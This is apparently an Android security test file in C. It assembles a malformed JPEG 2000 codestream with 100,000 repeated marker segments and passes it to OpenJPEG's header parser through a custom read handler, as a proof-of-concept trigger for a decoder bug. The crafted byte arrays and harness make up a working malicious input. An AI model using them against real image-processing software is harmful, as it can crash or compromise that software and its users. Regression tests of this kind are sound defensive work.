You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
142 lines
5.2 KiB
142 lines
5.2 KiB
/**
|
|
* Copyright (C) 2021 The Android Open Source Project
|
|
*
|
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
|
* you may not use this file except in compliance with the License.
|
|
* You may obtain a copy of the License at
|
|
*
|
|
* http://www.apache.org/licenses/LICENSE-2.0
|
|
*
|
|
* Unless required by applicable law or agreed to in writing, software
|
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
* See the License for the specific language governing permissions and
|
|
* limitations under the License.
|
|
*/
|
|
#define _GNU_SOURCE
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include "openjpeg.h"
|
|
#include "opj_includes.h"
|
|
|
|
#define REPEATVALUES 100000
|
|
|
|
unsigned char gStartValues[] = { 0xFF, 0x4F, 0xFF, 0x51, 0x00, 0x2F, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x07, 0x01,
|
|
0x01, 0x07, 0x01, 0x01, 0x07, 0x01, 0x01, 0xFF, 0x64, 0x00, 0x23, 0x00,
|
|
0x01, 0x43, 0x72, 0x65, 0x61, 0x74, 0x6F, 0x72, 0x3A, 0x20, 0x4A, 0x61,
|
|
0x73, 0x50, 0x65, 0x72, 0x20, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E,
|
|
0x20, 0x31, 0x2E, 0x37, 0x30, 0x30, 0x2E, 0x31, 0xFF, 0x52, 0x00, 0x0C,
|
|
0x00, 0x00, 0x00, 0x01, 0x01, 0x05, 0x04, 0x04, 0x00, 0x01, 0xFF, 0x5C,
|
|
0x00, 0x13, 0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48,
|
|
0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x01,
|
|
0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48,
|
|
0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x02, 0x40, 0x40,
|
|
0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50,
|
|
0x48, 0x48, 0x50 };
|
|
unsigned int gNumStartValues = sizeof(gStartValues) / sizeof(gStartValues[0]);
|
|
|
|
unsigned char gRepeatValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00 };
|
|
unsigned int gNumRepeatValues = sizeof(gRepeatValues)
|
|
/ sizeof(gRepeatValues[0]);
|
|
|
|
unsigned char gLastValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x01, 0x00,
|
|
0x00, 0x00, 0x00 };
|
|
unsigned int gNumLastValues = sizeof(gLastValues) / sizeof(gLastValues[0]);
|
|
|
|
typedef struct {
|
|
char* blob;
|
|
ssize_t blobSize;
|
|
ssize_t readPos;
|
|
} applicationContext;
|
|
|
|
opj_stream_t* allocate_stream(void) {
|
|
opj_stream_private_t * stream = NULL;
|
|
|
|
stream = (opj_stream_private_t*) opj_calloc(1, sizeof(opj_stream_private_t));
|
|
if (!stream) {
|
|
return NULL;
|
|
}
|
|
|
|
stream->m_buffer_size = OPJ_J2K_STREAM_CHUNK_SIZE;
|
|
stream->m_stored_data = (OPJ_BYTE *) opj_malloc(OPJ_J2K_STREAM_CHUNK_SIZE);
|
|
if (!stream->m_stored_data) {
|
|
opj_free(stream);
|
|
return NULL;
|
|
}
|
|
|
|
stream->m_current_data = stream->m_stored_data;
|
|
stream->m_status |= OPJ_STREAM_STATUS_INPUT;
|
|
stream->m_opj_skip = opj_stream_read_skip;
|
|
stream->m_opj_seek = opj_stream_read_seek;
|
|
stream->m_read_fn = opj_stream_default_read;
|
|
stream->m_write_fn = opj_stream_default_write;
|
|
stream->m_skip_fn = opj_stream_default_skip;
|
|
stream->m_seek_fn = opj_stream_default_seek;
|
|
|
|
return (opj_stream_t *) stream;
|
|
}
|
|
|
|
static OPJ_SIZE_T ReadHandler(void *buffer, OPJ_SIZE_T length, void *context) {
|
|
applicationContext* appContext = (applicationContext*) context;
|
|
ssize_t count = 0;
|
|
ssize_t rem = 0;
|
|
if (!appContext) {
|
|
return ((OPJ_SIZE_T) - 1);
|
|
}
|
|
rem = appContext->blobSize - appContext->readPos;
|
|
if ((ssize_t) length <= rem) {
|
|
count = length;
|
|
} else {
|
|
count = rem;
|
|
}
|
|
memcpy(buffer, &appContext->blob[appContext->readPos], count);
|
|
appContext->readPos += count;
|
|
return ((OPJ_SIZE_T) length);
|
|
}
|
|
|
|
int main(void) {
|
|
ssize_t offset = 0;
|
|
unsigned int count = 0;
|
|
applicationContext sContext;
|
|
opj_j2k_t* codec = NULL;
|
|
opj_stream_t* stream = NULL;
|
|
opj_image_t* image = NULL;
|
|
opj_stream_private_t* private = NULL;
|
|
opj_event_mgr_t eventMgr;
|
|
stream = allocate_stream();
|
|
private = (opj_stream_private_t*)stream;
|
|
|
|
sContext.blobSize = gNumStartValues + REPEATVALUES * gNumRepeatValues
|
|
+ gNumLastValues;
|
|
sContext.blob = (char*) opj_malloc(sContext.blobSize);
|
|
if (!sContext.blob) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
memset(sContext.blob, 0, sContext.blobSize);
|
|
|
|
memcpy(&sContext.blob[offset], gStartValues, gNumStartValues);
|
|
offset += gNumStartValues;
|
|
for (count = 0; count < REPEATVALUES; ++count) {
|
|
memcpy(&sContext.blob[offset], gRepeatValues, gNumRepeatValues);
|
|
offset += gNumRepeatValues;
|
|
}
|
|
memcpy(&sContext.blob[offset], gLastValues, gNumLastValues);
|
|
offset += gNumLastValues;
|
|
sContext.readPos = 0;
|
|
private->m_read_fn = ReadHandler;
|
|
private->m_user_data = (void*)&sContext;
|
|
private->m_user_data_length = sContext.blobSize;
|
|
private->m_free_user_data_fn = NULL;
|
|
codec = opj_j2k_create_decompress();
|
|
opj_set_default_event_handler(&eventMgr);
|
|
opj_j2k_read_header(private,codec,&image,&eventMgr);
|
|
opj_free(sContext.blob);
|
|
return EXIT_SUCCESS;
|
|
}
|